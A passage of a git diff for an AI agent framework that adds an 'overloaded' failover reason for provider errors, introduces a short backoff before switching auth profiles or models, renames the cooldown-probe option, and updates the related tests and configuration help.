makeAuthStoreWithCooldown("anthropic", "overloaded"); + const cfg = makeCfg({ + agents: { + defaults: { + model: { + primary: "anthropic/claude-opus-4-6", + fallbacks: ["anthropic/claude-sonnet-4-5", "groq/llama-3.3-70b-versatile"], + }, + }, + }, + }); + + const run = vi.fn().mockResolvedValueOnce("sonnet success"); + + const result = await runWithModelFallback({ + cfg, + provider: "anthropic", + model: "claude-opus-4-6", + run, + agentDir: dir, + }); + + expect(result.result).toBe("sonnet success"); + expect(run).toHaveBeenCalledTimes(1); + expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { + allowTransientCooldownProbe: true, }); }); @@ -1224,7 +1254,7 @@ describe("runWithModelFallback", () => { expect(result.result).toBe("groq success"); expect(run).toHaveBeenCalledTimes(2); expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); // Rate limit allows attempt expect(run).toHaveBeenNthCalledWith(2, "groq", "llama-3.3-70b-versatile"); // Cross-provider works }); diff --git a/src/agents/model-fallback.ts b/src/agents/model-fallback.ts index f1c99d26a70..517c4448a27 100644 --- a/src/agents/model-fallback.ts +++ b/src/agents/model-fallback.ts @@ -34,7 +34,7 @@ type ModelCandidate = { }; export type ModelFallbackRunOptions = { - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }; type ModelFallbackRunFn = ( @@ -428,11 +428,11 @@ function resolveCooldownDecision(params: { } // For primary: try when requested model or when probe allows. - // For same-provider fallbacks: only relax cooldown on rate_limit, which - // is commonly model-scoped and can recover on a sibling model. + // For same-provider fallbacks: only relax cooldown on transient provider + // limits, which are often model-scoped and can recover on a sibling model. const shouldAttemptDespiteCooldown = (params.isPrimary && (!params.requestedModel || shouldProbe)) || - (!params.isPrimary && inferredReason === "rate_limit"); + (!params.isPrimary && (inferredReason === "rate_limit" || inferredReason === "overloaded")); if (!shouldAttemptDespiteCooldown) { return { type: "skip", @@ -514,8 +514,8 @@ export async function runWithModelFallback(params: { if (decision.markProbe) { lastProbeAttempt.set(probeThrottleKey, now); } - if (decision.reason === "rate_limit") { - runOptions = { allowRateLimitCooldownProbe: true }; + if (decision.reason === "rate_limit" || decision.reason === "overloaded") { + runOptions = { allowTransientCooldownProbe: true }; } } } diff --git a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts b/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts index 9eb2657158b..4919bc607c0 100644 --- a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts +++ b/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts @@ -509,12 +509,12 @@ describe("classifyFailoverReason", () => { it("classifies documented provider error messages", () => { expect(classifyFailoverReason(OPENAI_RATE_LIMIT_MESSAGE)).toBe("rate_limit"); expect(classifyFailoverReason(GEMINI_RESOURCE_EXHAUSTED_MESSAGE)).toBe("rate_limit"); - expect(classifyFailoverReason(ANTHROPIC_OVERLOADED_PAYLOAD)).toBe("rate_limit"); + expect(classifyFailoverReason(ANTHROPIC_OVERLOADED_PAYLOAD)).toBe("overloaded"); expect(classifyFailoverReason(OPENROUTER_CREDITS_MESSAGE)).toBe("billing"); expect(classifyFailoverReason(TOGETHER_PAYMENT_REQUIRED_MESSAGE)).toBe("billing"); - expect(classifyFailoverReason(TOGETHER_ENGINE_OVERLOADED_MESSAGE)).toBe("timeout"); + expect(classifyFailoverReason(TOGETHER_ENGINE_OVERLOADED_MESSAGE)).toBe("overloaded"); expect(classifyFailoverReason(GROQ_TOO_MANY_REQUESTS_MESSAGE)).toBe("rate_limit"); - expect(classifyFailoverReason(GROQ_SERVICE_UNAVAILABLE_MESSAGE)).toBe("timeout"); + expect(classifyFailoverReason(GROQ_SERVICE_UNAVAILABLE_MESSAGE)).toBe("overloaded"); }); it("classifies internal and compatibility error messages", () => { @@ -572,25 +572,29 @@ describe("classifyFailoverReason", () => { "rate_limit", ); }); - it("classifies provider high-demand / service-unavailable messages as rate_limit", () => { + it("classifies provider high-demand / service-unavailable messages as overloaded", () => { expect( classifyFailoverReason( "This model is currently experiencing high demand. Please try again later.", ), - ).toBe("rate_limit"); - // "service unavailable" combined with overload/capacity indicator → rate_limit + ).toBe("overloaded"); + // "service unavailable" combined with overload/capacity indicator → overloaded // (exercises the new regex — none of the standalone patterns match here) - expect(classifyFailoverReason("service unavailable due to capacity limits")).toBe("rate_limit"); + expect(classifyFailoverReason("service unavailable due to capacity limits")).toBe("overloaded"); expect( classifyFailoverReason( '{"error":{"code":503,"message":"The model is overloaded. Please try later","status":"UNAVAILABLE"}}', ), - ).toBe("rate_limit"); + ).toBe("overloaded"); }); it("classifies bare 'service unavailable' as timeout instead of rate_limit (#32828)", () => { // A generic "service unavailable" from a proxy/CDN should stay retryable, // but it should not be treated as provider overload / rate limit. expect(classifyFailoverReason("LLM error: service unavailable")).toBe("timeout"); + expect(classifyFailoverReason("503 Internal Database Error")).toBe("timeout"); + // Raw 529 text without explicit overload keywords still classifies as overloaded. + expect(classifyFailoverReason("529 API is busy")).toBe("overloaded"); + expect(classifyFailoverReason("529 Please try again")).toBe("overloaded"); }); it("classifies zhipuai Weekly/Monthly Limit Exhausted as rate_limit (#33785)", () => { expect( diff --git a/src/agents/pi-embedded-helpers/errors.ts b/src/agents/pi-embedded-helpers/errors.ts index e7cd440d779..5e4fc4c541e 100644 --- a/src/agents/pi-embedded-helpers/errors.ts +++ b/src/agents/pi-embedded-helpers/errors.ts @@ -293,13 +293,17 @@ export function classifyFailoverReasonFromHttpStatus( if (status === 408) { return "timeout"; } - // Keep the status-only path conservative and behavior-preserving. - // Message-path HTTP heuristics are broader and should not leak in here. - if (status === 502 || status === 503 || status === 504) { + if (status === 503) { + if (message && isOverloadedErrorMessage(message)) { + return "overloaded"; + } + return "timeout"; + } + if (status === 502 || status === 504) { return "timeout"; } if (status === 529) { - return "rate_limit"; + return "overloaded"; } if (status === 400) { // Some providers return quota/balance errors under HTTP 400, so do not @@ -854,13 +858,6 @@ export function classifyFailoverReason(raw: string): FailoverReason | null { if (isModelNotFoundErrorMessage(raw)) { return "model_not_found"; } - if (isTransientHttpError(raw)) { - // Treat transient 5xx provider failures as retryable transport issues. - return "timeout"; - } - if (isJsonApiInternalServerError(raw)) { - return "timeout"; - } if (isPeriodicUsageLimitErrorMessage(raw)) { return isBillingErrorMessage(raw) ? "billing" : "rate_limit"; } @@ -868,7 +865,19 @@ export function classifyFailoverReason(raw: string): FailoverReason | null { return "rate_limit"; } if (isOverloadedErrorMessage(raw)) { - return "rate_limit"; + return "overloaded"; + } + if (isTransientHttpError(raw)) { + // 529 is always overloaded, even without explicit overload keywords in the body. + const status = extractLeadingHttpStatus(raw.trim()); + if (status?.code === 529) { + return "overloaded"; + } + // Treat remaining transient 5xx provider failures as retryable transport issues. + return "timeout"; + } + if (isJsonApiInternalServerError(raw)) { + return "timeout"; } if (isCloudCodeAssistFormatError(raw)) { return "format"; diff --git a/src/agents/pi-embedded-helpers/types.ts b/src/agents/pi-embedded-helpers/types.ts index 86ee1c4cda1..5ae47d672d3 100644 --- a/src/agents/pi-embedded-helpers/types.ts +++ b/src/agents/pi-embedded-helpers/types.ts @@ -5,6 +5,7 @@ export type FailoverReason = | "auth_permanent" | "format" | "rate_limit" + | "overloaded" | "billing" | "timeout" | "model_not_found" diff --git a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts index 8c1aef240f7..87ffa6963c9 100644 --- a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts +++ b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts @@ -9,11 +9,28 @@ import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); const resolveCopilotApiTokenMock = vi.fn(); +const { computeBackoffMock, sleepWithAbortMock } = vi.hoisted(() => ({ + computeBackoffMock: vi.fn( + ( + _policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + _attempt: number, + ) => 321, + ), + sleepWithAbortMock: vi.fn(async (_ms: number, _abortSignal?: AbortSignal) => undefined), +})); vi.mock("./pi-embedded-runner/run/attempt.js", () => ({ runEmbeddedAttempt: (params: unknown) => runEmbeddedAttemptMock(params), })); +vi.mock("../infra/backoff.js", () => ({ + computeBackoff: ( + policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + attempt: number, + ) => computeBackoffMock(policy, attempt), + sleepWithAbort: (ms: number, abortSignal?: AbortSignal) => sleepWithAbortMock(ms, abortSignal), +})); + vi.mock("../providers/github-copilot-token.js", () => ({ DEFAULT_COPILOT_API_BASE_URL: "https://api.individual.githubcopilot.com", resolveCopilotApiToken: (...args: unknown[]) => resolveCopilotApiTokenMock(...args), @@ -43,6 +60,8 @@ beforeEach(() => { vi.useRealTimers(); runEmbeddedAttemptMock.mockClear(); resolveCopilotApiTokenMock.mockReset(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); }); const baseUsage = { @@ -252,6 +271,24 @@ const mockFailedThenSuccessfulAttempt = (errorMessage = "rate limit") => { ); }; +const mockPromptErrorThenSuccessfulAttempt = (errorMessage: string) => { + runEmbeddedAttemptMock + .mockResolvedValueOnce( + makeAttempt({ + promptError: new Error(errorMessage), + }), + ) + .mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); +}; + async function runAutoPinnedOpenAiTurn(params: { agentDir: string; workspaceDir: string; @@ -320,6 +357,28 @@ async function runAutoPinnedRotationCase(params: { }); } +async function runAutoPinnedPromptErrorRotationCase(params: { + errorMessage: string; + sessionKey: string; + runId: string; +}) { + runEmbeddedAttemptMock.mockClear(); + return withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPromptErrorThenSuccessfulAttempt(params.errorMessage); + await runAutoPinnedOpenAiTurn({ + agentDir, + workspaceDir, + sessionKey: params.sessionKey, + runId: params.runId, + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + const usageStats = await readUsageStats(agentDir); + return { usageStats }; + }); +} + function mockSingleSuccessfulAttempt() { runEmbeddedAttemptMock.mockResolvedValueOnce( makeAttempt({ @@ -639,13 +698,48 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); }); - it("rotates for overloaded prompt failures across auto-pinned profiles", async () => { + it("rotates for overloaded assistant failures across auto-pinned profiles", async () => { const { usageStats } = await runAutoPinnedRotationCase({ errorMessage: '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}', sessionKey: "agent:test:overloaded-rotation", runId: "run:overloaded-rotation", }); expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(computeBackoffMock).toHaveBeenCalledWith( + expect.objectContaining({ + initialMs: 250, + maxMs: 1500, + factor: 2, + jitter: 0.2, + }), + 1, + ); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledWith(321, undefined); + }); + + it("rotates for overloaded prompt failures across auto-pinned profiles", async () => { + const { usageStats } = await runAutoPinnedPromptErrorRotationCase({ + errorMessage: '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}', + sessionKey: "agent:test:overloaded-prompt-rotation", + runId: "run:overloaded-prompt-rotation", + }); + expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(computeBackoffMock).toHaveBeenCalledWith( + expect.objectContaining({ + initialMs: 250, + maxMs: 1500, + factor: 2, + jitter: 0.2, + }), + 1, + ); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledWith(321, undefined); }); it("rotates on timeout without cooling down the timed-out profile", async () => { @@ -656,6 +750,8 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined(); + expect(computeBackoffMock).not.toHaveBeenCalled(); + expect(sleepWithAbortMock).not.toHaveBeenCalled(); }); it("rotates on bare service unavailable without cooling down the profile", async () => { @@ -829,7 +925,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); }); - it("can probe one cooldowned profile when rate-limit cooldown probe is explicitly allowed", async () => { + it("can probe one cooldowned profile when transient cooldown probe is explicitly allowed", async () => { await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { await writeAuthStore(agentDir, { usageStats: { @@ -859,7 +955,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { provider: "openai", model: "mock-1", authProfileIdSource: "auto", - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, timeoutMs: 5_000, runId: "run:cooldown-probe", }); @@ -869,6 +965,54 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); }); + it("can probe one cooldowned profile when overloaded cooldown is explicitly probeable", async () => { + await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { + await writeAuthStore(agentDir, { + usageStats: { + "openai:p1": { + lastUsed: 1, + cooldownUntil: now + 60 * 60 * 1000, + failureCounts: { overloaded: 4 }, + }, + "openai:p2": { + lastUsed: 2, + cooldownUntil: now + 60 * 60 * 1000, + failureCounts: { overloaded: 4 }, + }, + }, + }); + + runEmbeddedAttemptMock.mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); + + const result = await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: "agent:test:overloaded-cooldown-probe", + sessionFile: path.join(workspaceDir, "session.jsonl"), + workspaceDir, + agentDir, + config: makeConfig({ fallbacks: ["openai/mock-2"] }), + prompt: "hello", + provider: "openai", + model: "mock-1", + authProfileIdSource: "auto", + allowTransientCooldownProbe: true, + timeoutMs: 5_000, + runId: "run:overloaded-cooldown-probe", + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); + expect(result.payloads?.[0]?.text ?? "").toContain("ok"); + }); + }); + it("treats agent-level fallbacks as configured when defaults have none", async () => { await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { await writeAuthStore(agentDir, { diff --git a/src/agents/pi-embedded-runner/run.ts b/src/agents/pi-embedded-runner/run.ts index 11be807e120..c1d1d414c49 100644 --- a/src/agents/pi-embedded-runner/run.ts +++ b/src/agents/pi-embedded-runner/run.ts @@ -5,6 +5,7 @@ import { ensureContextEnginesInitialized, resolveContextEngine, } from "../../context-engine/index.js"; +import { computeBackoff, sleepWithAbort, type BackoffPolicy } from "../../infra/backoff.js"; import { generateSecureToken } from "../../infra/secure-random.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; import type { PluginHookBeforeAgentStartResult } from "../../plugins/types.js"; @@ -14,6 +15,7 @@ import { resolveOpenClawAgentDir } from "../agent-paths.js"; import { hasConfiguredModelFallbacks } from "../agent-scope.js"; import { isProfileInCooldown, + type AuthProfileFailureReason, markAuthProfileFailure, markAuthProfileGood, markAuthProfileUsed, @@ -79,6 +81,14 @@ type CopilotTokenState = { const COPILOT_REFRESH_MARGIN_MS = 5 * 60 * 1000; const COPILOT_REFRESH_RETRY_MS = 60 * 1000; const COPILOT_REFRESH_MIN_DELAY_MS = 5 * 1000; +// Keep overload pacing noticeable enough to avoid tight retry bursts, but short +// enough that fallback still feels responsive within a single turn. +const OVERLOAD_FAILOVER_BACKOFF_POLICY: BackoffPolicy = { + initialMs: 250, + maxMs: 1_500, + factor: 2, + jitter: 0.2, +}; // Avoid Anthropic's refusal test token poisoning session transcripts. const ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL = "ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL"; @@ -649,21 +659,21 @@ export async function runEmbeddedPiAgent( profileIds: autoProfileCandidates, }) ?? "rate_limit") : null; - const allowRateLimitCooldownProbe = - params.allowRateLimitCooldownProbe === true && + const allowTransientCooldownProbe = + params.allowTransientCooldownProbe === true && allAutoProfilesInCooldown && - unavailableReason === "rate_limit"; - let didRateLimitCooldownProbe = false; + (unavailableReason === "rate_limit" || unavailableReason === "overloaded"); + let didTransientCooldownProbe = false; while (profileIndex < profileCandidates.length) { const candidate = profileCandidates[profileIndex]; const inCooldown = candidate && candidate !== lockedProfileId && isProfileInCooldown(authStore, candidate); if (inCooldown) { - if (allowRateLimitCooldownProbe && !didRateLimitCooldownProbe) { - didRateLimitCooldownProbe = true; + if (allowTransientCooldownProbe && !didTransientCooldownProbe) { + didTransientCooldownProbe = true; log.warn( - `probing cooldowned auth profile for ${provider}/${modelId} due to rate_limit unavailability`, + `probing cooldowned auth profile for ${provider}/${modelId} due to ${unavailableReason ?? "transient"} unavailability`, ); } else { profileIndex += 1; @@ -722,9 +732,10 @@ export async function runEmbeddedPiAgent( let lastRunPromptUsage: ReturnType | undefined; let autoCompactionCount = 0; let runLoopIterations = 0; + let overloadFailoverAttempts = 0; const maybeMarkAuthProfileFailure = async (failure: { profileId?: string; - reason?: Parameters[0]["reason"] | null; + reason?: AuthProfileFailureReason | null; config?: RunEmbeddedPiAgentParams["config"]; agentDir?: RunEmbeddedPiAgentParams["agentDir"]; }) => { @@ -740,6 +751,36 @@ export async function runEmbeddedPiAgent( agentDir, }); }; + const resolveAuthProfileFailureReason = ( + failoverReason: FailoverReason | null, + ): AuthProfileFailureReason | null => { + // Timeouts are transport/model-path failures, not auth health signals, + // so they should not persist auth-profile failure state. + if (!failoverReason || failoverReason === "timeout") { + return null; + } + return failoverReason; + }; + const maybeBackoffBeforeOverloadFailover = async (reason: FailoverReason | null) => { + if (reason !== "overloaded") { + return; + } + overloadFailoverAttempts += 1; + const delayMs = computeBackoff(OVERLOAD_FAILOVER_BACKOFF_POLICY, overloadFailoverAttempts); + log.warn( + `overload backoff before failover for ${provider}/${modelId}: attempt=${overloadFailoverAttempts} delayMs=${delayMs}`, + ); + try { + await sleepWithAbort(delayMs, params.abortSignal); + } catch (err) { + if (params.abortSignal?.aborted) { + const abortErr = new Error("Operation aborted", { cause: err }); + abortErr.name = "AbortError"; + throw abortErr; + } + throw err; + } + }; // Resolve the context engine once and reuse across retries to avoid // repeated initialization/connection overhead per attempt. ensureContextEnginesInitialized(); @@ -1165,15 +1206,19 @@ export async function runEmbeddedPiAgent( }; } const promptFailoverReason = classifyFailoverReason(errorText); + const promptProfileFailureReason = + resolveAuthProfileFailureReason(promptFailoverReason); await maybeMarkAuthProfileFailure({ profileId: lastProfileId, - reason: promptFailoverReason, + reason: promptProfileFailureReason, }); + const promptFailoverFailure = isFailoverErrorMessage(errorText); if ( - isFailoverErrorMessage(errorText) && + promptFailoverFailure && promptFailoverReason !== "timeout" && (await advanceAuthProfile()) ) { + await maybeBackoffBeforeOverloadFailover(promptFailoverReason); continue; } const fallbackThinking = pickFallbackThinkingLevel({ @@ -1187,9 +1232,11 @@ export async function runEmbeddedPiAgent( thinkLevel = fallbackThinking; continue; } - // FIX: Throw FailoverError for prompt errors when fallbacks configured - // This enables model fallback for quota/rate limit errors during prompt submission - if (fallbackConfigured && isFailoverErrorMessage(errorText)) { + // Throw FailoverError for prompt-side failover reasons when fallbacks + // are configured so outer model fallback can continue on overload, + // rate-limit, auth, or billing failures. + if (fallbackConfigured && promptFailoverFailure) { + await maybeBackoffBeforeOverloadFailover(promptFailoverReason); throw new FailoverError(errorText, { reason: promptFailoverReason ?? "unknown", provider, @@ -1218,6 +1265,8 @@ export async function runEmbeddedPiAgent( const billingFailure = isBillingAssistantError(lastAssistant); const failoverFailure = isFailoverAssistantError(lastAssistant); const assistantFailoverReason = classifyFailoverReason(lastAssistant?.errorMessage ?? ""); + const assistantProfileFailureReason = + resolveAuthProfileFailureReason(assistantFailoverReason); const cloudCodeAssistFormatError = attempt.cloudCodeAssistFormatError; const imageDimensionError = parseImageDimensionError(lastAssistant?.errorMessage ?? ""); @@ -1257,10 +1306,7 @@ export async function runEmbeddedPiAgent( if (shouldRotate) { if (lastProfileId) { - const reason = - timedOut || assistantFailoverReason === "timeout" - ? "timeout" - : (assistantFailoverReason ?? "unknown"); + const reason = timedOut ? "timeout" : assistantProfileFailureReason; // Skip cooldown for timeouts: a timeout is model/network-specific, // not an auth issue. Marking the profile would poison fallback models // on the same provider (e.g. gpt-5.3 timeout blocks gpt-5.2). @@ -1280,10 +1326,12 @@ export async function runEmbeddedPiAgent( const rotated = await advanceAuthProfile(); if (rotated) { + await maybeBackoffBeforeOverloadFailover(assistantFailoverReason); continue; } if (fallbackConfigured) { + await maybeBackoffBeforeOverloadFailover(assistantFailoverReason); // Prefer formatted error message (user-friendly) over raw errorMessage const message = (lastAssistant diff --git a/src/agents/pi-embedded-runner/run/params.ts b/src/agents/pi-embedded-runner/run/params.ts index fd0f2112361..6d067c910bf 100644 --- a/src/agents/pi-embedded-runner/run/params.ts +++ b/src/agents/pi-embedded-runner/run/params.ts @@ -115,10 +115,10 @@ export type RunEmbeddedPiAgentParams = { enforceFinalTag?: boolean; /** * Allow a single run attempt even when all auth profiles are in cooldown, - * but only for inferred `rate_limit` cooldowns. + * but only for inferred transient cooldowns like `rate_limit` or `overloaded`. * * This is used by model fallback when trying sibling models on providers - * where rate limits are often model-scoped. + * where transient service pressure is often model-scoped. */ - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }; diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index ed843a73014..524934ad469 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -311,7 +311,7 @@ export async function runAgentTurnWithFallback(params: { model, runId, authProfile, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, }); return (async () => { const result = await runEmbeddedPiAgent({ diff --git a/src/auto-reply/reply/agent-runner-memory.ts b/src/auto-reply/reply/agent-runner-memory.ts index ddb65d0fa22..374d37d52f7 100644 --- a/src/auto-reply/reply/agent-runner-memory.ts +++ b/src/auto-reply/reply/agent-runner-memory.ts @@ -487,7 +487,7 @@ export async function runMemoryFlushIfNeeded(params: { model, runId: flushRunId, authProfile, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, }); const result = await runEmbeddedPiAgent({ ...embeddedContext, diff --git a/src/auto-reply/reply/agent-runner-utils.ts b/src/auto-reply/reply/agent-runner-utils.ts index 960a1f21fed..b7ec4858e51 100644 --- a/src/auto-reply/reply/agent-runner-utils.ts +++ b/src/auto-reply/reply/agent-runner-utils.ts @@ -166,7 +166,7 @@ export function buildEmbeddedRunBaseParams(params: { model: string; runId: string; authProfile: ReturnType; - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }) { return { sessionFile: params.run.sessionFile, @@ -187,7 +187,7 @@ export function buildEmbeddedRunBaseParams(params: { bashElevated: params.run.bashElevated, timeoutMs: params.run.timeoutMs, runId: params.runId, - allowRateLimitCooldownProbe: params.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: params.allowTransientCooldownProbe, }; } diff --git a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts index a4f689412ab..83c1796515c 100644 --- a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts +++ b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts @@ -1054,6 +1054,11 @@ describe("runReplyAgent typing (heartbeat)", () => { reportedReason: "rate_limit", expectedReason: "rate limit", }, + { + existingReason: undefined, + reportedReason: "overloaded", + expectedReason: "overloaded", + }, { existingReason: "rate limit", reportedReason: "timeout", diff --git a/src/auto-reply/reply/followup-runner.ts b/src/auto-reply/reply/followup-runner.ts index 7838a83bc4d..91e78138102 100644 --- a/src/auto-reply/reply/followup-runner.ts +++ b/src/auto-reply/reply/followup-runner.ts @@ -208,7 +208,7 @@ export function createFollowupRunner(params: { bashElevated: queued.run.bashElevated, timeoutMs: queued.run.timeoutMs, runId, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, blockReplyBreak: queued.run.blockReplyBreak, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature: diff --git a/src/commands/agent.ts b/src/commands/agent.ts index 215d249d964..fcbe593ec03 100644 --- a/src/commands/agent.ts +++ b/src/commands/agent.ts @@ -174,7 +174,7 @@ function runAgentAttempt(params: { primaryProvider: string; sessionStore?: Record; storePath?: string; - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }) { const effectivePrompt = resolveFallbackRetryPrompt({ body: params.body, @@ -325,7 +325,7 @@ function runAgentAttempt(params: { inputProvenance: params.opts.inputProvenance, streamParams: params.opts.streamParams, agentDir: params.agentDir, - allowRateLimitCooldownProbe: params.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: params.allowTransientCooldownProbe, onAgentEvent: params.onAgentEvent, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature, @@ -868,7 +868,7 @@ async function agentCommandInternal( primaryProvider: provider, sessionStore, storePath, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, onAgentEvent: (evt) => { // Track lifecycle end for fallback emission below. if ( diff --git a/src/commands/models/list.probe.test.ts b/src/commands/models/list.probe.test.ts index 55c5ef064f3..70ffde1dd65 100644 --- a/src/commands/models/list.probe.test.ts +++ b/src/commands/models/list.probe.test.ts @@ -9,6 +9,7 @@ describe("mapFailoverReasonToProbeStatus", () => { it("keeps existing failover reason mappings", () => { expect(mapFailoverReasonToProbeStatus("auth")).toBe("auth"); expect(mapFailoverReasonToProbeStatus("rate_limit")).toBe("rate_limit"); + expect(mapFailoverReasonToProbeStatus("overloaded")).toBe("rate_limit"); expect(mapFailoverReasonToProbeStatus("billing")).toBe("billing"); expect(mapFailoverReasonToProbeStatus("timeout")).toBe("timeout"); expect(mapFailoverReasonToProbeStatus("format")).toBe("format"); diff --git a/src/commands/models/list.probe.ts b/src/commands/models/list.probe.ts index 433c005077d..8a2ec87adcc 100644 --- a/src/commands/models/list.probe.ts +++ b/src/commands/models/list.probe.ts @@ -106,7 +106,7 @@ export function mapFailoverReasonToProbeStatus(reason?: string | null): AuthProb // surface in the auth bucket instead of showing as unknown. return "auth"; } - if (reason === "rate_limit") { + if (reason === "rate_limit" || reason === "overloaded") { return "rate_limit"; } if (reason === "billing") { diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index b46b5b49766..647986a96e0 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -258,7 +258,7 @@ describe("cron webhook schema", () => { retry: { maxAttempts: 5, backoffMs: [60000, 120000, 300000], - retryOn: ["rate_limit", "network"], + retryOn: ["rate_limit", "overloaded", "network"], }, }, }); diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 39a43d46acb..f2ef2ff4ab8 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -1144,13 +1144,13 @@ export const FIELD_HELP: Record = { "cron.maxConcurrentRuns": "Limits how many cron jobs can execute at the same time when multiple schedules fire together. Use lower values to protect CPU/memory under heavy automation load, or raise carefully for higher throughput.", "cron.retry": - "Overrides the default retry policy for one-shot jobs when they fail with transient errors (rate limit, network, server_error). Omit to use defaults: maxAttempts 3, backoffMs [30000, 60000, 300000], retry all transient types.", + "Overrides the default retry policy for one-shot jobs when they fail with transient errors (rate limit, overloaded, network, server_error). Omit to use defaults: maxAttempts 3, backoffMs [30000, 60000, 300000], retry all transient types.", "cron.retry.maxAttempts": "Max retries for one-shot jobs on transient errors before permanent disable (default: 3).", "cron.retry.backoffMs": "Backoff delays in ms for each retry attempt (default: [30000, 60000, 300000]). Use shorter values for faster retries.", "cron.retry.retryOn": - "Error types to retry: rate_limit, network, timeout, server_error. Use to restrict which errors trigger retries; omit to retry all transient types.", + "Error types to retry: rate_limit, overloaded, network, timeout, server_error. Use to restrict which errors trigger retries; omit to retry all transient types.", "cron.webhook": 'Deprecated legacy fallback webhook URL used only for old jobs with `notify=true`. Migrate to per-job delivery using `delivery.mode="webhook"` plus `delivery.to`, and avoid relying on this global field.', "cron.webhookToken": diff --git a/src/config/types.cron.ts b/src/config/types.cron.ts index 251592251b6..0d3ee66dc19 100644 --- a/src/config/types.cron.ts +++ b/src/config/types.cron.ts @@ -1,7 +1,7 @@ import type { SecretInput } from "./types.secrets.js"; /** Error types that can trigger retries for one-shot jobs. */ -export type CronRetryOn = "rate_limit" | "network" | "timeout" | "server_error"; +export type CronRetryOn = "rate_limit" | "overloaded" | "network" | "timeout" | "server_error"; export type CronRetryConfig = { /** Max retries for transient errors before permanent disable (default: 3). */ diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 033044238e8..0db5be508c3 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -440,7 